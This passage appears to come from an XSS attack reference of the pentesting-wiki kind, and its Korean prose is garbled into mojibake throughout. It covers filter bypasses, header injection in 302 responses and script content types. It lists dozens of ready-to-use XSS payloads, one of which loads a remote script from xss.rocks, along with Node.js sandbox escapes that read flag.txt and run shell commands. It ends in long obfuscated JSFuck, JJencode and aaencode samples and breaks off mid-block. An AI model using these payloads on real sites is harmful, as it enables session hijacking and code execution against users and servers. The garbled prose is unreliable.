์ฌ์ฉ์๊ฐ ์์ ์ ํ๋กํ์ ๊ด๋ฆฌ์์ ๊ณต์ ํ ์ ์๊ณ , ๊ทธ ํ๋กํ์ self XSS๊ฐ ํฌํจ๋์ด ์์ผ๋ฉฐ ๊ด๋ฆฌ์๊ฐ ์ด๋ฅผ ์ด๋ํ๋ฉด ์ทจ์ฝ์ ์ด ํธ๋ฆฌ๊ฑฐ๋ ์ ์์ต๋๋ค.
Session Mirroring
self XSS๋ฅผ ๋ฐ๊ฒฌํ๊ณ ์น ํ์ด์ง๊ฐ session mirroring for administrators๋ฅผ ์ ๊ณตํ๋ค๋ฉด(์: ๊ณ ๊ฐ์ด ๋์์ ์์ฒญํ๋ฉด ๊ด๋ฆฌ์๊ฐ ์์ ์ ์ธ์ ์์ ์ฌ์ฉ์์ ์ธ์ ์ ๋ณผ ์ ์๋๋ก ํ๋ ๊ธฐ๋ฅ), ๊ด๋ฆฌ์๊ฐ ์ฌ์ฉ์๊ฐ ๋ณด๋ ํ๋ฉด์ ๋ณด๋ฉด์ self XSS๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ฒ ๋ง๋ค์ด ๊ทธ์ ์ฟ ํค/์ธ์ ์ ํ์ทจํ ์ ์์ต๋๋ค.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
์น ์ ํ๋ฆฌ์ผ์ด์
์ด Emscripten/WASM์ ์ฌ์ฉํ ๋, ์์ ๋ฌธ์์ด(์: HTML ํฌ๋งท ์คํ
)์ ์ฐ๊ธฐ ๊ฐ๋ฅํ linear memory์ ์กด์ฌํฉ๋๋ค. ๋จ ํ ๋ฒ์ inโWASM overflow(์: ํธ์ง ๊ฒฝ๋ก์์ ์ฒดํฌ๋์ง ์์ memcpy)๊ฐ ์ธ์ ๊ตฌ์กฐ๋ฅผ ์์์ํค๊ณ ๊ทธ ์์๋ก์ ์ฐ๊ธฐ ์์น๋ฅผ ์ฌ์ง์ ํ ์ ์์ต๋๋ค. โโ๋ก ๋ฎ์ด์ฐ๋ฉด, ์ ํ๋ ์
๋ ฅ์ด JavaScript ํธ๋ค๋ฌ ๊ฐ์ด ๋์ด ๋ ๋ ์ ์ฆ์ DOM XSS๋ฅผ ์ผ์ผํต๋๋ค.
์ต์คํ๋ก์ ์ํฌํ๋ก์ฐ, DevTools ๋ฉ๋ชจ๋ฆฌ ํฌํผ, ๋ฐฉ์ด ๊ธฐ๋ฒ์ ํฌํจํ ์ ์ฉ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
์๋ฒ(๋๋ ํด๋ผ์ด์ธํธ ์ธก)์์ reflected values๊ฐ unicode normalized๋๋์ง ํ์ธํ๊ณ , ์ด ๊ธฐ๋ฅ์ ์ ์ฉํด ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment ๋๋ฌธ์ HTML์ ๋ฐ์ดํ๊ฐ ์ฝ์
๋์ด ๋ฐ์ดํ ์ ํ์ด ์ฐํ๋๊ณ ํ๊ทธ ๋ด๋ถ์ ์ถ๊ฐ ํ๋(onfocus)๋ฅผ ๋ฃ์ ์ ์์ต๋๋ค.
Form ์์ (from this report), ํ์ด๋ก๋๋ฅผ ๋ณด๋ด๋ฉด:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
โKeyโ,โValueโ ์์ ๋ค์๊ณผ ๊ฐ์ด ์ถ๋ ฅ๋ฉ๋๋ค:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
๊ทธ๋ฌ๋ฉด onfocus ์์ฑ์ด ์ฝ์ ๋์ด XSS๊ฐ ๋ฐ์ํฉ๋๋ค.
ํน์ ์กฐํฉ
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 ์๋ต์์์ header injection์ ์ด์ฉํ XSS
๋ง์ฝ inject headers in a 302 Redirect response ํ ์ ์๋ค๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ ์์์ JavaScript๋ฅผ ์คํํ๋๋ก ํด๋ณด๋ ๊ฒ์ ์๋ํ ์ ์์ต๋๋ค. ์ด๋ ์ต์ ๋ธ๋ผ์ฐ์ ๊ฐ HTTP ์๋ต ์ํ ์ฝ๋๊ฐ 302์ผ ๋ HTTP ์๋ต ๋ณธ๋ฌธ์ ํด์ํ์ง ์๊ธฐ ๋๋ฌธ์ ๋จ์ํ cross-site scripting ํ์ด๋ก๋๋ก๋ not trivial ํฉ๋๋ค.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
๋ฌธ์, ์ซ์ ๋ฐ ์ ๋ง
๋ง์ฝ ํด๋น ๋ฌธ์๋ค๋ก ์ ํ๋ callback ์ javascript๊ฐ execute ํ๋๋ก ์ง์ ํ ์ ์๋ค๋ฉด, ์ด ๋์์ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ Read this section of this post ๋ฅผ ์ฐธ์กฐํ์ธ์.
XSS์ ์ ํจํ <script> Content-Types
(From here) application/octet-stream ๊ฐ์ content-type ์ผ๋ก ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ๋ ค ํ๋ฉด, Chrome์ ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค:
Refused to execute script from โhttps://uploader.c.hc.lc/uploads/xxxโ because its MIME type (โapplication/octet-streamโ) is not executable, and strict MIME type checking is enabled.
Chrome๊ฐ loaded script ๋ฅผ ์คํํ๋๋ก ํ์ฉํ๋ ์ ์ผํ Content-Type๋ค์ const kSupportedJavascriptTypes ์์ ์๋ ๊ฒ๋ค์ด๋ฉฐ, ํด๋น ๋ด์ฉ์ https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc์์ ํ์ธํ ์ ์์ต๋๋ค.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(From here) ๊ทธ๋ฌ๋ฉด, ์ด๋ค ํ์ ๋ค์ด script๋ฅผ ๋ก๋ํ๋๋ก ์ง์ ๋ ์ ์์๊น?
<script type="???"></script>
- ๋ชจ๋ (๊ธฐ๋ณธ๊ฐ, ์ค๋ช ํ ํ์ ์์)
- webbundle: Web Bundles๋ HTML, CSS, JSโฆ ๊ฐ์ ์ฌ๋ฌ ๋ฐ์ดํฐ๋ฅผ ํ๋์
.wbnํ์ผ๋ก ๋ฌถ์ ์ ์๋ ๊ธฐ๋ฅ์ ๋๋ค.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import ๊ตฌ๋ฌธ์ ๊ฐ์ ํ ์ ์์ต๋๋ค
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
์ด ๋์์ this writeup์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ eval๋ก ๋ฆฌ๋งตํด ์ ์ฉํ๋ฉด XSS๋ฅผ ์ ๋ฐํ ์ ์์์ ๋ณด์ฌ์ฃผ๊ธฐ ์ํด ์ฌ์ฉ๋์์ต๋๋ค.
- speculationrules: ์ด ๊ธฐ๋ฅ์ ์ฃผ๋ก ํ๋ฆฌ๋ ๋๋ง์ผ๋ก ์ธํด ๋ฐ์ํ๋ ๋ช ๊ฐ์ง ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํ ๊ฒ์ ๋๋ค. ์๋ ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
XSS๋ฅผ ์ ๋ฐํ๋ ์น Content-Types
(์ถ์ฒ: here) ๋ค์ Content-Type๋ค์ ๋ชจ๋ ๋ธ๋ผ์ฐ์ ์์ XSS๋ฅผ ์คํํ ์ ์์ต๋๋ค:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? ๋ชฉ๋ก์๋ ์์ง๋ง CTF์์ ๋ณธ ๊ฒ ๊ฐ์ต๋๋ค)
- application/rss+xml (off)
- application/atom+xml (off)
๋ค๋ฅธ ๋ธ๋ผ์ฐ์ ์์๋ ๋ค๋ฅธ **Content-Types**๊ฐ ์์์ JS๋ฅผ ์คํํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ํ์ธ: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
ํ์ด์ง๊ฐ text/xml content-type์ ๋ฐํํ๋ฉด ๋ค์์คํ์ด์ค๋ฅผ ์ง์ ํ์ฌ ์์์ JS๋ฅผ ์คํํ ์ ์์ต๋๋ค:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
ํน์ ์นํ ํจํด
๋ค์๊ณผ ๊ฐ์ ์ฝ๋๊ฐ ์ฌ์ฉ๋ ๋: "some {{template}} data".replace("{{template}}", <user_input>) ๊ณต๊ฒฉ์๋ ์ผ๋ถ ๋ณดํธ๋ฅผ ์ฐํํ๊ธฐ ์ํด special string replacements๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
์๋ฅผ ๋ค์ด this writeup์์๋, ์ด๊ฒ์ผ๋ก ์คํฌ๋ฆฝํธ ๋ด๋ถ์ JSON ๋ฌธ์์ด์ ์ด์ค์ผ์ดํํ๊ณ ์์์ ์ฝ๋๋ฅผ ์คํํ์ต๋๋ค.
Chrome Cache to XSS
XS Jails Escape
์ฌ์ฉํ ์ ์๋ ๋ฌธ์๊ฐ ์ ํ๋์ด ์๋ ๊ฒฝ์ฐ, XSJail ๋ฌธ์ ์ ๋ํ ๋ค์ ๋ค๋ฅธ ์ ํจํ ํด๊ฒฐ์ฑ ๋ค์ ํ์ธํ์ธ์:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ ์ everything is undefined ์ํ๋ผ๋ฉด(์: this writeup) ์์์ ์ ๋ขฐํ ์ ์๋ ์ฝ๋ ์คํ์ ์ ์ฉํ๊ธฐ ์ํด ์ ์ฉํ ๊ฐ์ฒด๋ค์ โ๋ฌด(็ก)์์โ ์์ฑํ ์ ์์ต๋๋ค:
- import() ์ฌ์ฉ
// although import "fs" doesnโt work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
require์ ๊ฐ์ ์ ์ผ๋ก ์ ๊ทผํ๊ธฐ
According to this ๋ชจ๋์ Node.js์ ์ํด ๋ค์๊ณผ ๊ฐ์ด ํจ์ ๋ด๋ถ๋ก ๊ฐ์ธ์ง๋๋ค:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
๋ฐ๋ผ์, ํด๋น ๋ชจ๋์์ ๋ค๋ฅธ ํจ์๋ฅผ ํธ์ถํ ์ ์๋ค๋ฉด, ๊ทธ ํจ์ ์์์ arguments.callee.caller.arguments[1]์ ์ฌ์ฉํด **require**์ ์ ๊ทผํ ์ ์์ต๋๋ค:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
์์ ์์ ์ ์ฌํ๊ฒ, ๋ชจ๋์ wrapper์ ์ ๊ทผํ๊ณ require ํจ์๋ฅผ ์ป๊ธฐ ์ํด use error handlers๋ฅผ ์ฌ์ฉํ ์ ์๋ค:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- ํ ํ์ด์ง์ ์๋ ๋ค์ํ obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- ๋ ์ ๊ตํ JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ใฆ,,,,ใข]=[]+{}
,[ใ,ใ,ใ,ใป,,ใ,ใ,ใ,,,ใ]=[!!ใฆ]+!ใฆ+ใฆ.ใฆ)[ใ=ใข+ใฆ+ใ+ใ+ใ+ใ+ใ+ใข+ใ+ใฆ+ใ][ใ](ใ+ใ+ใป+ใ+ใ+'(-~ใฆ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
๏พฯ๏พ๏พ = /๏ฝ๏ฝยด๏ผ๏พ ~โปโโป / /*ยดโ๏ฝ*/["_"]
o = ๏พ๏ฝฐ๏พ = _ = 3
c = ๏พฮ๏พ = ๏พ๏ฝฐ๏พ - ๏พ๏ฝฐ๏พ
๏พะ๏พ = ๏พฮ๏พ = (o ^ _ ^ o) / (o ^ _ ^ o)
๏พะ๏พ = {
๏พฮ๏พ: "_",
๏พฯ๏พ๏พ: ((๏พฯ๏พ๏พ == 3) + "_")[๏พฮ๏พ],
๏พ๏ฝฐ๏พ๏พ: (๏พฯ๏พ๏พ + "_")[o ^ _ ^ (o - ๏พฮ๏พ)],
๏พะ๏พ๏พ: ((๏พ๏ฝฐ๏พ == 3) + "_")[๏พ๏ฝฐ๏พ],
}
๏พะ๏พ[๏พฮ๏พ] = ((๏พฯ๏พ๏พ == 3) + "_")[c ^ _ ^ o]
๏พะ๏พ["c"] = (๏พะ๏พ + "_")[๏พ๏ฝฐ๏พ + ๏พ๏ฝฐ๏พ - ๏พฮ๏พ]
๏พะ๏พ["o"] = (๏พะ๏พ + "_")[๏พฮ๏พ]
๏พo๏พ =
๏พะ๏พ["c"] +
๏พะ๏พ["o"] +
(๏พฯ๏พ๏พ + "_")[๏พฮ๏พ] +
((๏พฯ๏พ๏พ == 3) + "_")[๏พ๏ฝฐ๏พ] +
(๏พะ๏พ + "_")[๏พ๏ฝฐ๏พ + ๏พ๏ฝฐ๏พ] +
((๏พ๏ฝฐ๏พ == 3) + "_")[๏พฮ๏พ] +
((๏พ๏ฝฐ๏พ == 3) + "_")[๏พ๏ฝฐ๏พ - ๏พฮ๏พ] +
๏พะ๏พ["c"] +
(๏พะ๏พ + "_")[๏พ๏ฝฐ๏พ + ๏พ๏ฝฐ๏พ] +
๏พะ๏พ["o"] +
((๏พ๏ฝฐ๏พ == 3) + "_")[๏พฮ๏พ]
๏พะ๏พ["_"] = (o ^ _ ^ o)[๏พo๏พ][๏พo๏พ]
๏พฮต๏พ =
((๏พ๏ฝฐ๏พ == 3) + "_")[๏พฮ๏พ] +
๏พะ๏พ.๏พะ๏พ๏พ +
(๏พะ๏พ + "_")[๏พ๏ฝฐ๏พ + ๏พ๏ฝฐ๏พ] +
((๏พ๏ฝฐ๏พ == 3) + "_")[o ^ _ ^ (o - ๏พฮ๏พ)] +
((๏พ๏ฝฐ๏พ == 3) + "_")[๏พฮ๏พ] +
(๏พฯ๏พ๏พ + "_")[๏พฮ๏พ]
๏พ๏ฝฐ๏พ += ๏พฮ๏พ
๏พะ๏พ[๏พฮต๏พ] = "\\"
๏พะ๏พ.๏พฮ๏พ๏พ = (๏พะ๏พ + ๏พ๏ฝฐ๏พ)[o ^ _ ^ (o - ๏พฮ๏พ)]
o๏พ๏ฝฐ๏พo = (๏พฯ๏พ๏พ + "_")[c ^ _ ^ o]
๏พะ๏พ[๏พo๏พ] = '"'
๏พะ๏พ["_"](
๏พะ๏พ["_"](
๏พฮต๏พ +
๏พะ๏พ[๏พo๏พ] +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
๏พ๏ฝฐ๏พ +
๏พฮ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
๏พ๏ฝฐ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
๏พ๏ฝฐ๏พ +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ๏พฮ๏พ) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
๏พ๏ฝฐ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
(c ^ _ ^ o) +
๏พะ๏พ[๏พฮต๏พ] +
๏พ๏ฝฐ๏พ +
((o ^ _ ^ o) - ๏พฮ๏พ) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
๏พฮ๏พ +
(c ^ _ ^ o) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
๏พ๏ฝฐ๏พ +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
๏พ๏ฝฐ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
๏พ๏ฝฐ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
(๏พ๏ฝฐ๏พ + (o ^ _ ^ o)) +
๏พะ๏พ[๏พฮต๏พ] +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
๏พ๏ฝฐ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พ๏ฝฐ๏พ +
(c ^ _ ^ o) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
๏พฮ๏พ +
((o ^ _ ^ o) - ๏พฮ๏พ) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
๏พ๏ฝฐ๏พ +
๏พฮ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
๏พ๏ฝฐ๏พ +
๏พฮ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
((o ^ _ ^ o) - ๏พฮ๏พ) +
(o ^ _ ^ o) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
๏พ๏ฝฐ๏พ +
(o ^ _ ^ o) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ๏พฮ๏พ) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
๏พฮ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
๏พะ๏พ[๏พฮต๏พ] +
๏พฮ๏พ +
